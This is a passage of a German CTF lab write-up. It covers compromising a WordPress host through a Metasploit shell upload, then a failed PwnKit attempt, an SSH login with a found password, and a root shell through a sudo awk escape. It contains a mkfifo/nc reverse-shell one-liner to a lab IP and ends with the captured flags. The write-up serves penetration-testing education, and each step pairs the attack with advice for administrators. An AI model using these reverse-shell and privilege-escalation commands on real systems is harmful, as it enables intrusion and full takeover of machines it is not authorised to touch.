**Analyse:** Die Optionen werden erneut überprüft (zeigen noch das alte Passwort). Dann wird das korrekte Passwort `Hacker@4514` gesetzt (`set password Hacker@4514`). Der Exploit wird erneut mit `run` gestartet. * Die Authentifizierung ist diesmal erfolgreich (`Authenticated with WordPress`). * Das Modul lädt eine PHP-Meterpreter-Payload hoch (getarnt als Plugin oder Theme-Datei). * Die hochgeladene Datei wird ausgeführt. * Die Payload verbindet sich zurück zum Listener auf Port 4444. * Metasploit meldet `Meterpreter session 1 opened`. * Das Modul löscht die hochgeladenen Dateien, um Spuren zu verwischen.

**Bewertung:** **Initial Access erfolgreich!** Durch die Kombination der gefundenen WordPress-Zugangsdaten und des Metasploit-Moduls konnte eine Meterpreter-Shell auf dem System erlangt werden.

**Empfehlung (Pentester):** Mit der Meterpreter-Session 1 interagieren (`sessions -i 1`). Benutzerkontext prüfen (`getuid`) und mit der Enumeration für Privilege Escalation beginnen.
**Empfehlung (Admin):** Starke Passwörter für WordPress erzwingen. WordPress-Berechtigungen überprüfen (Benutzer `web` sollte keine Plugins/Themes installieren/bearbeiten dürfen, wenn nicht nötig). Dateiuploads überwachen und härten. WordPress aktuell halten.

meterpreter > getuid
Server username: www-data

**Analyse:** Der Befehl `getuid` wird in der Meterpreter-Session ausgeführt. Er gibt `www-data` zurück, den Standardbenutzer, unter dem der Apache-Webserver (und damit PHP/WordPress) auf Debian/Ubuntu-Systemen läuft.

**Bewertung:** Bestätigt, dass die Shell mit den Rechten des Webservers läuft. Dies sind typischerweise eingeschränkte Rechte.

**Empfehlung (Pentester):** Nach Möglichkeiten suchen, vom `www-data`-Benutzer zu einem Benutzer mit höheren Rechten (z.B. `root` oder einem Benutzer mit `sudo`-Rechten) zu wechseln.
**Empfehlung (Admin):** Sicherstellen, dass der `www-data`-Benutzer nur die minimal notwendigen Rechte hat (Least Privilege).

Privilege Escalation

Nachdem eine Shell als `www-data` erlangt wurde, wird das System nach Wegen zur Eskalation der Rechte auf `root` untersucht.

www-data@jax:$ find / -type f -perm -4000 -ls 2>/dev/null
find / -type f -perm -4000 -ls 2>/dev/null
      300     52 -rwsr-xr-x   1 root     root        53128 May 17  2017 /usr/bin/passwd
      160     48 -rwsr-xr-x   1 root     root        48264 May 17  2017 /usr/bin/chfn
    15886     36 -rwsr-xr-x   1 root     root        36288 May 17  2017 /usr/bin/newgidmap
    15885     36 -rwsr-xr-x   1 root     root        36288 May 17  2017 /usr/bin/newuidmap
      289     36 -rwsr-xr-x   1 root     root        34680 May 17  2017 /usr/bin/newgrp
      162     40 -rwsr-xr-x   1 root     root        39560 May 17  2017 /usr/bin/chsh
    16938     52 -rwsr-sr-x   1 daemon   daemon      50748 Jan 15  2016 /usr/bin/at
      384    160 -rwsr-xr-x   1 root     root       159852 Jul  4  2017 /usr/bin/sudo
      223     80 -rwsr-xr-x   1 root     root        78012 May 17  2017 /usr/bin/gpasswd
    17278     20 -rwsr-xr-x   1 root     root        18216 Jan 15  2019 /usr/bin/pkexec
    15449     48 -rwsr-xr--   1 root     messagebus    46436 Jan 12  2017 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
    17274     16 -rwsr-xr-x   1 root     root          13960 Jan 15  2019 /usr/lib/policykit-1/polkit-agent-helper-1
   270684    104 -rwsr-sr-x   1 root     root         105004 Jan 30  2019 /usr/lib/snapd/snap-confine
      485      8 -rwsr-xr-x   1 root     root           5480 Mar 27  2017 /usr/lib/eject/dmcrypt-get-device
    15866     44 -rwsr-xr-x   1 root     root          42396 Jun 15  2017 /usr/lib/i386-linux-gnu/lxc/lxc-user-nic
    16654    504 -rwsr-xr-x   1 root     root         513528 Jan 31  2019 /usr/lib/openssh/ssh-keysign
   399731    156 -rwsr-xr-x   1 root     root         157424 Jan 28  2017 /bin/ntfs-3g
   399721     32 -rwsr-xr-x   1 root     root          30112 Jul 12  2016 /bin/fusermount
   390236     40 -rwsr-xr-x   1 root     root          38900 May 17  2017 /bin/su
   390219     40 -rwsr-xr-x   1 root     root          38932 May  8  2014 /bin/ping
   390205     36 -rwsr-xr-x   1 root     root          34812 May 16  2018 /bin/mount
   390254     28 -rwsr-xr-x   1 root     root          26492 May 16  2018 /bin/umount
   390220     44 -rwsr-xr-x   1 root     root          43316 May  8  2014 /bin/ping6

**Analyse:** Aus der `www-data`-Shell (Prompt `www-data@jax:$` deutet auf eine aufgewertete Shell hin) wird erneut nach SUID-Binaries gesucht. Die Liste ist ähnlich wie zuvor, enthält Standard-Tools wie `passwd`, `sudo`, `su` und auch `pkexec` (datiert Jan 2019, potenziell anfällig für PwnKit). `/usr/bin/at` hat das SGID-Bit gesetzt und gehört `daemon`.

**Bewertung:** Es gibt keine offensichtlich ungewöhnlichen SUID-Binaries. `pkexec` bleibt ein Kandidat, aber die Architektur könnte ein Problem sein (siehe spätere PwnKit-Fehlermeldung). `/usr/bin/sudo` ist der nächste logische Check (`sudo -l`).

**Empfehlung (Pentester):** `sudo -l` ausführen, um die sudo-Rechte für `www-data` oder andere erreichbare Benutzer zu prüfen. Kernel-Exploits prüfen (`uname -a`).
**Empfehlung (Admin):** System patchen (insb. pkexec). SUID-Berechtigungen minimieren.

Versuch, die Shell zu stabilisieren oder eine andere Shell zu erhalten.

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.199 4445 >/tmp/f

**Analyse:** Dies ist der Befehl zum Aufbau einer einfachen Reverse Shell mittels `mkfifo` und `nc`, diesmal auf Port 4445. Es ist unklar, warum dieser Schritt hier erfolgt, da bereits eine Meterpreter-Session existiert und später eine SSH-Verbindung aufgebaut wird. Möglicherweise gab es Probleme mit Meterpreter oder es ist ein Überbleibsel aus einem anderen Pfad.

**Bewertung:** Technisch korrekt, aber im Kontext der bereits vorhandenen Sessions möglicherweise redundant oder ein Hinweis auf Probleme mit den vorherigen Shells.

**Empfehlung (Pentester):** Fokus auf die stabilste und mächtigste verfügbare Shell (Meterpreter oder SSH).
**Empfehlung (Admin):** Ausgehende Verbindungen überwachen und einschränken.

Weitere Enumeration im Home-Verzeichnis und Überprüfung von Dateiberechtigungen.

www-data@jax:/home$ cd user-a/
www-data@jax:/home/user-a$ ls -la
total 32
drwxr-xr-x 3 user-a uname-a 4096 Nov  1  2019 .
drwxr-xr-x 4 root   root    4096 Nov  1  2019 ..
-rw------- 1 user-a uname-a 1394 Nov  1  2019 .bash_history
-rw-r--r-- 1 user-a uname-a  220 Nov  1  2019 .bash_logout
-rw-r--r-- 1 user-a uname-a 3771 Nov  1  2019 .bashrc
drwxrwx--- 2 user-a uname-a 4096 Nov  1  2019 .cache
-rw------- 1 user-a uname-a   84 Nov  1  2019 .mysql_history
-rw-r--r-- 1 user-a uname-a  655 Nov  1  2019 .profile
-rw-r--r-- 1 user-a uname-a    0 Nov  1  2019 .sudo_as_admin_successful
www-data@jax:/home/user-a$ cat .bash_history
cat: .bash_history: Permission denied
www-data@jax:/home/user-a$ cat .mysql_history
cat: .mysql_history: Permission denied
www-data@jax:/home/user-a$ ls -la /etc/passwd
-rw-r--r-- 1 root root 1660 Nov  1  2019 /etc/passwd

**Analyse:** Wechsel in das Home-Verzeichnis `/home/user-a`. Der Benutzer `www-data` kann den Inhalt auflisten, aber aufgrund der Dateiberechtigungen (`-rw-------`) weder `.bash_history` noch `.mysql_history` lesen. Die Gruppenzugehörigkeit `uname-a` ist ungewöhnlich, könnte aber irrelevant sein. Die Lesbarkeit von `/etc/passwd` wird bestätigt.

**Bewertung:** Standard-Berechtigungen im Home-Verzeichnis verhindern den Zugriff auf sensible History-Dateien durch `www-data`.

**Empfehlung (Pentester):** Konzentration auf andere Privesc-Vektoren, da hier kein direkter Zugriff auf nützliche Informationen von `user-a` möglich ist.
**Empfehlung (Admin):** Korrekte Berechtigungen für Home-Verzeichnisse beibehalten.

Erneuter Versuch, eine Shell zu stabilisieren und zu Meterpreter upzugraden, gefolgt von einem fehlgeschlagenen PwnKit-Versuch.

┌──(root㉿Cybermaschine)-[~] └─# msfconsole -q
msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set lhost eth0
lhost => 192.168.2.199
msf6 exploit(multi/handler) > set lport 5656
lport => 5656
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.2.199:5656
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.199 5656 >/tmp/f
[*] Command shell session 1 opened (192.168.2.199:5656 -> 192.168.2.154:47176) at 2023-10-19 23:54:17 +0200

$ ^Z
Background session 1? [y/N]  y
msf6 exploit(multi/handler) > sessions -l
Active sessions
===============

  Id  Name  Type             Information            Connection
  --  ----  ----             -----------            ----------
  1         shell sparc/bsd  Shell Banner: $ --     192.168.2.199:5656 -> 192.168.2.154:47176 (192.168.2.154)
msf6 exploit(multi/handler) > use multi/manage/shell_to_meterpreter
msf6 post(multi/manage/shell_to_meterpreter) > set lport 5566
lport => 5566
msf6 post(multi/manage/shell_to_meterpreter) > set session 1
session => 1
msf6 post(multi/manage/shell_to_meterpreter) > run
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.2.199:5566
[*] Sending stage (1017704 bytes) to 192.168.2.154
[*] Meterpreter session 2 opened (192.168.2.199:5566 -> 192.168.2.154:45742) at 2023-10-19 23:55:39 +0200
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Post module execution completed
msf6 post(multi/manage/shell_to_meterpreter) > use linux/local/cve_2021_4034_pwnkit_lpe_pkexec
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set session 2
session => 2
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set lport 5568
lport => 5568
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > run
[*] Started reverse TCP handler on 192.168.2.199:5568
[*] Running automatic check ("set AutoCheck false" to disable)
[-] Exploit aborted due to failure: not-vulnerable: The target is not exploitable. System architecture i686 is not supported "set ForceExploit true" to override check result.
[*] Exploit completed, but no session was created.

**Analyse:** Diese Sequenz wiederholt im Wesentlichen einen früheren Teil: 1. Ein Listener wird auf Port 5656 gestartet. 2. Eine `mkfifo`-Reverse-Shell wird auf dem Ziel gestartet, die sich zu Port 5656 verbindet. 3. Die resultierende Shell-Session (ID 1) wird im Hintergrund gehalten. 4. `shell_to_meterpreter` wird verwendet, um Session 1 zu Meterpreter Session 2 (auf Port 5566) upzugraden. 5. Der PwnKit-Exploit (CVE-2021-4034) wird auf Meterpreter-Session 2 angesetzt (lauscht auf 5568). 6. Der Exploit **scheitert**, weil die Zielarchitektur `i686` (32-Bit) vom verwendeten Exploit-Modul nicht unterstützt wird.

**Bewertung:** Bestätigt, dass PwnKit über dieses Metasploit-Modul auf diesem 32-Bit-System nicht funktioniert. Der Weg über Shell-Stabilisierung und Upgrade war technisch korrekt, führte aber nicht zum Ziel, da der gewählte Exploit inkompatibel war.

**Empfehlung (Pentester):** Andere Privesc-Methoden suchen. Da PwnKit ausgeschlossen ist (zumindest mit diesem Modul), rückt `sudo -l` wieder in den Fokus. Auch Kernel-Exploits für 32-Bit-Systeme könnten relevant sein (`uname -a` prüfen).
**Empfehlung (Admin):** Auch wenn dieser Exploit fehlschlug, bleibt das Patchen von PwnKit wichtig. Die Verwendung von 32-Bit-Systemen kann die Kompatibilität mit neueren Exploits verringern, aber 32-Bit-Systeme erhalten oft weniger Sicherheitsupdates und können andere Schwachstellen aufweisen.

Wechsel des Angriffsvektors: Nutzung der gefundenen WordPress-Credentials (`web:Hacker@4514`) für einen SSH-Login.

┌──(root㉿Cybermaschine)-[~] └─# ssh web@os-hax.vln
web@os-hax.vln's password: Hacker@4514 [Annahme: Passwort wurde hier eingegeben]
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.4.0-142-generic i686)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

220 packages can be updated.
165 updates are security updates.

[...]

Last login: Fri Nov  1 19:26:26 2019 from 192.168.1.15
$ id
uid=1001(web) gid=1000(uname-a) groups=1000(uname-a)
$

**Analyse:** Ein SSH-Login wird als Benutzer `web` mit dem Hostnamen `os-hax.vln` versucht. Das zuvor gefundene Passwort `Hacker@4514` wird eingegeben. Der Login ist erfolgreich und gewährt eine interaktive Shell als Benutzer `web` auf dem Zielsystem (Ubuntu 16.04.6 LTS, 32-Bit Kernel 4.4.0). Die `id`-Ausgabe bestätigt den Benutzer `web` und die Gruppe `uname-a`.

**Bewertung:** Erfolgreicher Login via SSH mit den zuvor erlangten Credentials. Dies bietet eine stabilere und interaktivere Shell als die vorherigen Reverse Shells oder Meterpreter-Sessions (die möglicherweise Probleme hatten).

**Empfehlung (Pentester):** Diese SSH-Sitzung für die weitere Enumeration und Privilege Escalation nutzen. Insbesondere `sudo -l` ausführen.
**Empfehlung (Admin):** SSH-Zugang härten: Starke, einzigartige Passwörter verwenden (oder besser: Key-basierte Authentifizierung erzwingen), Fail2Ban einrichten, ggf. SSH-Zugriff auf bestimmte IPs beschränken.

Untersuchung der Sudo-Berechtigungen für den Benutzer `web`.

$ sudo -l
Matching Defaults entries for web on jax:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User web may run the following commands on jax:
    (root) NOPASSWD: /usr/bin/awk

**Analyse:** Der Befehl `sudo -l` wird als Benutzer `web` ausgeführt. Die Ausgabe zeigt, dass der Benutzer `web` den Befehl `/usr/bin/awk` als `root` ausführen darf, und zwar **ohne Passwortabfrage** (`NOPASSWD`).

**Bewertung:** **Kritische Fehlkonfiguration gefunden!** Dies ist ein direkter und einfacher Weg zur Privilege Escalation. `awk` ist ein mächtiges Textverarbeitungstool, das auch externe Befehle ausführen kann. Wenn es als `root` ohne Passwort ausgeführt werden darf, kann damit eine Root-Shell erzeugt werden.

**Empfehlung (Pentester):** Die `awk`-Berechtigung sofort ausnutzen, um eine Root-Shell zu erhalten (z.B. mit `sudo /usr/bin/awk 'BEGIN {system("/bin/sh")}'`).
**Empfehlung (Admin):** **Diese sudo-Regel sofort entfernen!** `NOPASSWD` sollte nur extrem selten und nur für sehr spezifische, harmlose Befehle verwendet werden. Niemals für Befehle wie `awk`, `find`, `vim`, `python` etc., die eine Shell-Flucht ermöglichen.

Proof of Concept (Privilege Escalation)

**Kurzbeschreibung:** Nach Erlangung einer Shell als `web`-Benutzer über SSH wird festgestellt, dass dieser Benutzer `/usr/bin/awk` mittels `sudo` ohne Passwort als `root` ausführen darf. Diese Fehlkonfiguration wird ausgenutzt, um eine Root-Shell zu starten.

**Voraussetzungen:**

  • Zugriff als Benutzer `web` (z.B. via SSH).
  • Fehlkonfigurierte sudo-Regel, die `NOPASSWD` für `awk` erlaubt.

**Schritt-für-Schritt-Anleitung:**

1. Überprüfung der sudo-Rechte (bereits oben gezeigt mit `sudo -l`).

2. Ausnutzung der `awk`-Berechtigung zum Starten einer Root-Shell.

$ sudo -u root awk 'BEGIN {system("/bin/sh")}'
# id
uid=0(root) gid=0(root) groups=0(root)
#

**Analyse:** Der Befehl `sudo -u root awk 'BEGIN {system("/bin/sh")}'` wird ausgeführt. * `sudo -u root`: Führt den Befehl explizit als `root` aus (obwohl dies bei `NOPASSWD` oft nicht nötig ist, aber es schadet nicht). * `awk '...'`: Ruft `awk` auf. * `'BEGIN {system("/bin/sh")}'`: Das `awk`-Skript. Der `BEGIN`-Block wird vor der Verarbeitung jeglicher Eingabe ausgeführt. `system("/bin/sh")` weist `awk` an, den Befehl `/bin/sh` auszuführen, was eine neue Shell startet. Da `awk` mit Root-Rechten läuft (dank `sudo`), wird eine **Root-Shell** gestartet. Der Prompt wechselt zu `#`, dem typischen Root-Prompt. Der anschließende `id`-Befehl bestätigt `uid=0(root)`.

**Bewertung:** **Privilege Escalation erfolgreich!** Die unsichere sudo-Regel wurde erfolgreich ausgenutzt, um vollständige Root-Rechte zu erlangen.

**Erwartetes Ergebnis:** Erfolgreiche Ausführung des `sudo awk`-Befehls resultiert in einer Shell mit Root-Berechtigungen.

**Beweismittel:** Der resultierende `#`-Prompt und die Ausgabe des `id`-Befehls, die `uid=0(root)` zeigt.

**Risikobewertung:** Die Fehlkonfiguration der sudo-Regel ist **KRITISCH**. Sie erlaubt jedem Benutzer, der diese Regel nutzen darf (hier `web`), die sofortige und triviale Eskalation zu Root-Rechten, was zur vollständigen Kompromittierung des Systems führt.

**Empfehlungen (Zusammenfassung POC):**

  • **Admin:** Die unsichere sudo-Regel (`(root) NOPASSWD: /usr/bin/awk`) sofort aus der `/etc/sudoers`-Datei entfernen oder anpassen.
  • **Admin:** Generell das Prinzip der geringsten Rechte (Least Privilege) bei der Vergabe von sudo-Rechten anwenden. `NOPASSWD` nur in absoluten Ausnahmefällen und für ungefährliche Befehle verwenden.
  • **Admin:** Die kompromittierten WordPress-Zugangsdaten ändern und WordPress härten.
  • **Admin:** SSH-Zugang härten.

Suche nach Flags als Root.

**Analyse:** Nachdem Root-Rechte erlangt wurden, wird nach den Flag-Dateien gesucht. Der ursprüngliche Text zeigt nur die `cat`-Befehle und die Flags am Ende.

**Bewertung:** Die finalen Schritte zum Auslesen der Flags.

**Empfehlung (Pentester):** Die Standardpfade `/home/web/user.txt` und `/root/root.txt` überprüfen und die Flags mit `cat` auslesen.
**Empfehlung (Admin):** Keine Aktion bezüglich der Flags selbst, Fokus auf Behebung der Schwachstellen.

Flags

cat /home/web/user.txt (User Flag)
c7d0a8de1e03b25a6f7ed2d91b94dad6
cat /root/root.txt (Root Flag)
5C42D6BB0EE9CE4CB7E7349652C45C4A